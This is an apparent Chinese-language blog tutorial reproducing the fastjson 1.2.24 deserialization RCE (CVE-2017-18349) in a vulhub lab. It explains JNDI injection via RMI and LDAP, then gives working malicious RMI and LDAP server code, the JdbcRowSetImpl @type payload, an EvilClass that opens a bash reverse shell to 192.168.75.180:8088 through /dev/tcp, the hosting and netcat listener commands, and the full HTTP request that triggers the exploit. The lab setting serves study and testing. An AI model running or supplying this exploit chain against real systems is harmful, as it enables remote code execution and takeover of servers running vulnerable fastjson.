fastjson1.2.24 CVE-2017-18349 漏洞复现
时间不等人啊/(ㄒoㄒ)/~~
0. 前置知识
建议直接看参考链接
JNDI:Java命名和目录接口
RMI:远程方法调用注册表
LDAP:轻量级目录访问协议
CORBA:公共对象请求代理体系结构
1. jndi
JNDI InitialContext类
构造方法
InitialContext()
构建一个初始上下文。(获取初始目录环境)
InitialContext(boolean lazy)
构造一个初始上下文,并选择不初始化它。
InitialContext(Hashtable<?,?> environment)
使用提供的环境构建初始上下文。
常用方法
bind(Name name, Object obj)
将名称绑定到对象。
list(String name)
枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。
lookup(String name)
检索命名对象。
rebind(String name, Object obj)
将名称绑定到对象,覆盖任何现有绑定。
unbind(String name)
取消绑定命名对象。
示例
import javax.naming.InitialContext;
import javax.naming.NamingException;public class jndi {public static void main(String[] args) throws NamingException {String uri = "rmi://127.0.0.1:1099/work";InitialContext initialContext = new InitialContext();initialContext.lookup(uri);}
}
Reference类
构造方法
Reference(String className)
为类名为“className”的对象构造一个新的引用。
Reference(String className, RefAddr addr)
为类名为“className”的对象和地址构造一个新引用。
Reference(String className, RefAddr addr, String factory, String factoryLocation)
为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。
Reference(String className, String factory, String factoryLocation)
为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。
示例
String url = "http://127.0.0.1:8080";
Reference reference = new Reference("test", "test", url);
参数1:className – 远程加载时所使用的类名
参数2:Factory – 加载的class中需要实例化类的名称
参数3:FactoryLocation – 提供classes数据的地址可以是*file/ftp/http***协议
常用方法
void add(int posn, RefAddr addr)
将地址添加到索引posn的地址列表中。
void add(RefAddr addr)
将地址添加到地址列表的末尾。
void clear()
从此引用中删除所有地址。
RefAddr get(int posn)
检索索引posn上的地址。
RefAddr get(String addrType)
检索地址类型为“addrType”的第一个地址。
Enumeration<RefAddr> getAll()
检索本参考文献中地址的列举。
String getClassName()
检索引用引用的对象的类名。
String getFactoryClassLocation()
检索此引用引用的对象的工厂位置。
String getFactoryClassName()
检索此引用引用对象的工厂的类名。
Object remove(int posn)
从地址列表中删除索引posn上的地址。
int size()
检索此引用中的地址数。
String toString()
生成此引用的字符串表示形式。
2. jndi注入的利用条件
- 客户端的lookup()方法的参数可控
- **服务端在使用Reference时,**Reference(String className, String factory, String factoryLocation)中,factoryLocation参数可控/可利用
满足任一即可,jdk版本要求如下:
- JDK 5 U45,JDK 6 U45,JDK 7u21,JDK 8u121开始:java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性
- JDK 6u141、7u131、8u121开始:增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击
- JDK 6u211、7u201、8u191开始:增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了
小迪安全里的表格
JDK6 | JDK7 | JDK8 | JDK11 | |
---|---|---|---|---|
RMI可用 | <6u132 | <7u122 | <8u113 | 无 |
LDAP可用 | <6u211 | <7u201 | <8u191 | <11.0.1 |
3. RMI+JNDI方式
RMI+JNDI注入就是将恶意的Reference类绑定在RMI注册表中,其中恶意引用指向远程恶意的class文件,当用户在JNDI客户端的lookup()函数参数外部可控或Reference类构造方法的classFactoryLocation参数外部可控时,会使用户的JNDI客户端访问RMI注册表中绑定的恶意Reference类,从而加载远程服务器上的恶意class文件在客户端本地执行,最终实现JNDI注入攻击导致远程代码执行
因为Reference没有实现Remote接口也没有继承UnicastRemoteObject类,故不能作为远程对象bind到注册中心,所以需要使用ReferenceWrapper对Reference的实例进行一个封装。
服务器端
//server.java
package JNDI;import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;public class server {public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {String url = "http://127.0.0.1:8081/";//恶意代码test.class在http://127.0.0.1:8081/Registry registry = LocateRegistry.createRegistry(1099);Reference reference = new Reference("test", "test", url);ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);registry.bind("obj",referenceWrapper);System.out.println("running");}
}
test.java
//test.java
//不要包名
public class test {public test() throws Exception{Runtime.getRuntime().exec("calc");}
}
编译:javac test.java
部署在web服务上:python3 -m http.server 8081 #端口根据前面服务端url的端口
当客户端通过InitialContext().lookup(“rmi://127.0.0.1:8081/obj”)获取远程对象时,会执行我们的恶意代码
//client.java
package JNDI;import javax.naming.InitialContext;
import javax.naming.NamingException;public class client {public static void main(String[] args) throws NamingException {String url = "rmi://localhost:1099/obj";InitialContext initialContext = new InitialContext();initialContext.lookup(url);}
}
4. LDAP+JNDI方式
JDK<8u191
服务端maven需要添加如下依赖:
java
<dependency><groupId>com.unboundid</groupId><artifactId>unboundid-ldapsdk</artifactId><version>4.0.0</version>
</dependency>
服务端ldap_server.java
package JNDI;import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;public class ldap_sever {private static final String LDAP_BASE = "dc=example,dc=com";public static void main ( String[] tmp_args ) {String[] args=new String[]{"http://127.0.0.1:8081/#test"};int port = 7777;try {InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);config.setListenerConfigs(new InMemoryListenerConfig("listen", //$NON-NLS-1$InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$port,ServerSocketFactory.getDefault(),SocketFactory.getDefault(),(SSLSocketFactory) SSLSocketFactory.getDefault()));//设置监听地址为 0.0.0.0:7777,并绑定默认的 ServerSocketFactory 和 SocketFactory。config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));//添加一个自定义的 OperationInterceptor,用于拦截客户端的查询请求并返回恶意响应。InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$ds.startListening();//启动 LDAP 服务器}catch ( Exception e ) {e.printStackTrace();}}private static class OperationInterceptor extends InMemoryOperationInterceptor {private URL codebase;public OperationInterceptor ( URL cb ) {this.codebase = cb;}@Overridepublic void processSearchResult ( InMemoryInterceptedSearchResult result ) {//构造一个恶意的 LDAP 响应String base = result.getRequest().getBaseDN();Entry e = new Entry(base);try {sendResult(result, base, e);}catch ( Exception e1 ) {e1.printStackTrace();}}protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);e.addAttribute("javaClassName", "foo");String cbstring = this.codebase.toString();//远程urlint refPos = cbstring.indexOf('#');if ( refPos > 0 ) {cbstring = cbstring.substring(0, refPos);}e.addAttribute("javaCodeBase", cbstring);e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$ //设置为远程 URL 的 ref 部分e.addAttribute("javaFactory", this.codebase.getRef());result.sendSearchEntry(e);//发送恶意响应result.setResult(new LDAPResult(0, ResultCode.SUCCESS));}}
}
客户端ldap_client.java
package JNDI;import javax.naming.InitialContext;public class ldap_client {public static void main(String[] args) throws Exception{Object object=new InitialContext().lookup("ldap://127.0.0.1:7777/calc");}
}
JDK >= 8u191
关于JDK >= 8u191的利用目前公开有两种绕过的方法,
两种绕过⽅法如下: 1、找到⼀个受害者本地 CLASSPATH 中的类作为恶意的 Reference Factory 工厂类, 并利用这个本地的 Factory 类执行命令. 2、利⽤ LDAP 直接返回⼀个恶意的序列化对象, JNDI 注⼊依然会对该对象进⾏反序列化操作, 利用反序列化 Gadget(已有代码片段) 完成命令执行.
这两种⽅式都依赖受害者本地 CLASSPATH 中环境, 需要利⽤受害者本地的 Gadget 进行攻击
详见参考文章
1. 環境搭建
windows环境
自行下载docker desktop
下载netcat,并添加环境变量
https://eternallybored.org/misc/netcat/
下载git
https://git-scm.com/downloads/win
下载vulhub
git clone https://github.com/vulhub/vulhub.git
启动docker容器
C:\Users\21609\vulhub\fastjson\1.2.24-rce>docker-compose up -d
在docker desktop进容器里执行命令
su
find / -name "*.jar"
#或者cmd终端里sudo docker exec -it 5ddafb45c605 /bin/bash
java -version
#可知容器jdk版本openjdk version "1.8.0_102"
将文件拷贝到本地
docker cp 5ddafb45c605:/usr/src/fastjsondemo.jar fastjsondemo.jar
改后缀为zip
后解压,用idea
打开
idea的project structure
里设置jdk为jdk1.8.0_65
2. 分析
该代码是一个Spring MVC控制器,主要处理JSON数据的序列化与反序列化
-
使用
@Controller
注解声明控制器类,并通过@ResponseBody
实现响应体自动序列化为JSON1 -
双
@RequestMapping
通过method参数区分GET/POST请求,符合RESTful设计规范 -
@RequestBody
接收的User对象若包含未校验字段,可能存在反序列化攻击风险
我们的payload(JdbcRowSetImpl利用链)格式如下:
{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.75.180:1099/obj","autoCommit":true}
}
idea裏面Navigate->Search Everywhere
查找JdbcRowSetImpl
,找到C:\Program Files\Java\jdk1.8.0_65\jre\lib\rt.jar!\com\sun\rowset\JdbcRowSetImpl.class
conn为null,"autoCommit":true
时,会调用this.conn=this.connect()
当dataSourceName
不为null时,会调用lookup
函数,并且获取到getDataSourceName的值
3. 采用JNDI+RMI注入
我们采用JNDI+RMI注入(利用恶意序列化对象执行任意代码)的思路
恶意类
// EvilClass.java
import java.lang.Runtime;//记得导入库
import java.lang.Process;
public class EvilClass {static {try {// 反弹shellProcess pc=Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.75.180/8088 0>&1"});System.out.println("恶意代码已执行!");pc.waitFor();} catch (Exception e) {e.printStackTrace();}}
}
jdk1.8.0_65
将这个类编译成 .class
文件,输出到code目录下
javac C:\Users\21609\IdeaProjects\maven1\src\main\java\com\jk\web\EvilClass.java -d C:\Users\21609\Desktop\code
在code目录下开cmd,启动http服务
#python3
python -m http.server 8081
#python2
#python -m SimpleHTTPServer 8081
服务器端,在idea里运行
package com.jk.jndi;import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;public class server {public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {String url = "http://192.168.75.180/";//恶意代码EvilClass.class在http://192.168.75.180:8081/Registry registry = LocateRegistry.createRegistry(1099);Reference reference = new Reference("EvilClass", "EvilClass", url);ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);registry.bind("obj",referenceWrapper);System.out.println("running");}
}
开个cmd,使用netcat监听8088端口
nc -lvvp 8088
burpsuite抓包,send to repeater
POST / HTTP/1.1
Host: 127.0.0.1:8090
Cache-Control: max-age=0
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="98"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 131{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.75.180:1099/obj","autoCommit":true}
}
参考
javasec(八)jndi注入 海屿-uf9n1x
Java反序列化之FastJson1.2.24 IDEA动态调试解析 不用再等